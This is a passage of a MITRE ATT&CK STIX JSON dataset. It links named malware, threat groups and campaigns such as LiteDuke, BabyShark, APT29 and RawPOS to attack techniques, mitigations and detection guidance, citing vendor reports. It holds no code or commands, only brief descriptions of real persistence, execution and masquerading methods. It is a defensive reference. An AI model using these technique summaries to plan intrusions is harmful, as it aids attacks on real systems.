2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37539ea1-3b70-4e95-853f-e023d8bfc203","type":"relationship","created":"2021-05-05T14:02:21.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T14:02:21.255Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can use HTTP GET requests in C2 communications.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3753e580-0ea6-4bf4-a1bc-c61467f038a8","created":"2022-04-19T18:34:21.807Z","x_mitre_version":"0.1","external_references":[{"source_name":"inv_ps_attacks","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. For example, consider monitoring for Windows Event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)","modified":"2022-08-18T15:18:20.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3758634e-bb33-4354-98f3-b662e8e7e83f","type":"relationship","created":"2020-04-28T12:47:25.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.954Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to hide and unhide files.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--37599333-0974-4442-976e-6f8d8c3ceac7","created":"2022-04-13T20:57:29.089Z","x_mitre_version":"0.1","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) is only delivered to a compromised host if the victim's IP address is on an allow-list.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-17T18:22:58.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3759c775-300f-4981-9264-722ecf97aa64","type":"relationship","created":"2020-11-04T16:54:47.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-11-04T16:54:47.538Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has used mshta.exe to download and execute applications from a remote server.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--375d3b8b-0e1b-4d3b-b31f-43b0e98436a5","type":"relationship","created":"2020-02-12T14:37:27.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T16:07:44.902Z","description":"Use remote desktop gateways.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--375f4ab4-542f-42f6-9577-f66a6e20f9ca","type":"relationship","created":"2019-11-07T19:44:04.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","source_name":"Palo Alto Office Test Sofacy"}],"modified":"2021-08-16T21:35:17.815Z","description":"Create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation.(Citation: Palo Alto Office Test Sofacy)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--375f92a4-13b2-4640-b192-c34eb2b91c9c","type":"relationship","created":"2019-04-17T18:43:36.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.381Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses the whoami command. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3766cf55-568a-410f-8968-7a4adac96f77","created":"2021-11-24T21:30:57.968Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used `mshta.exe` to execute [Koadic](https://attack.mitre.org/software/S0250) stagers.(Citation: MalwareBytes LazyScripter Feb 2021) ","modified":"2022-04-06T18:16:04.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--376c4c97-bec7-455d-ac44-88b7cbd8bd43","type":"relationship","created":"2020-02-04T19:17:42.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-01T20:05:05.440Z","description":"Applying more restrictive permissions to files and directories could prevent adversaries from modifying the access control lists.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--376f951c-844c-474b-b805-7f36caa07579","created":"2024-08-07T20:47:37.007Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:47:37.007Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use Windows APIs including `LoadLibrary` and `GetProcAddress`.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3777379a-469f-453e-a270-450c8b1eba9b","type":"relationship","created":"2021-11-17T17:02:54.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.679Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can establish persistence by adding a Registry run key.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3778dc3a-14b2-43e9-8e37-d1c3c731b390","type":"relationship","created":"2020-05-15T13:43:22.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.809Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) performed port scanning to obtain the list of active services.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--377e62e1-6b80-46f5-8f0e-be236052c294","created":"2022-10-11T19:50:31.815Z","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:50:31.815Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has used `cmd.exe` for execution.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37804b22-63b4-4b24-846e-6541688d9213","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-01-09T17:15:14.822Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) has a command to timestop a file or directory.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3781213b-225b-4c18-bfb6-f69d622887f6","created":"2024-07-25T22:29:41.593Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:29:41.593Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) uses scheduled tasks for persistence to load the final malware payload into memory.(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37880f36-c47a-4d1f-aedf-bb7d9fb2fd9f","type":"relationship","created":"2022-01-05T16:06:56.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}],"modified":"2022-01-05T16:06:56.732Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used watering hole attacks to gain access.(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--378914cd-36cf-409f-8c99-25e144218546","type":"relationship","created":"2019-05-24T17:57:36.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/","source_name":"Cyber Forensicator Silence Jan 2019"}],"modified":"2020-03-19T16:21:36.796Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used VBS scripts.(Citation: Cyber Forensicator Silence Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--378b19ca-8f2f-4ede-a493-8daf14c16342","type":"relationship","created":"2020-03-11T14:11:16.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:11:16.807Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--378bf726-1fd4-4c08-939a-88fb11405205","created":"2023-03-26T22:09:27.899Z","revoked":false,"external_references":[{"source_name":"CheckPoint Sunburst & Teardrop December 2020","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021.","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:09:27.899Z","description":"(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: CheckPoint Sunburst & Teardrop December 2020)(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--378bf78e-6c5c-4466-9d6b-a494ae375526","created":"2023-03-26T16:59:13.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T17:37:57.424Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) renamed software and DLLs with legitimate names to appear benign.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3790f831-7228-4de1-9272-3d304dd7328c","created":"2022-08-16T19:47:49.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T17:15:58.236Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) can only execute correctly if the word `Platypus` is passed to it on the command line.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37960736-9995-4ba6-bc65-a1d0cf6ec000","type":"relationship","created":"2021-03-02T17:04:18.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T17:04:18.808Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has added a leading . to plist filenames, unlisting them from the Finder app and default Terminal directory listings.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--379832d1-d784-40ab-b9dc-78a73d0ae3a0","created":"2023-03-28T20:35:52.481Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:35:52.481Z","description":"Monitor processes (`lsmod`, `driverquery.exe`, etc.) for events that may highlight potentially malicious attempts to enumerate device drivers.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--379f0bed-bd70-4321-804e-3234ba362cc3","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to windows registry keys and/or values that may use a hidden file system to conceal malicious activity from users and security tools.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37a08308-6dc4-4e20-bdb1-907b37cda04b","type":"relationship","created":"2020-10-19T16:08:30.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2022-02-16T20:15:45.759Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware","description":"Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","source_name":"Kroll RawPOS Jan 2017"},{"url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","source_name":"TrendMicro RawPOS April 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2020-03-18T15:39:59.628Z","description":"New services created by [RawPOS](https://attack.mitre.org/software/S0169) are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\".(Citation: Kroll RawPOS Jan 2017)(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 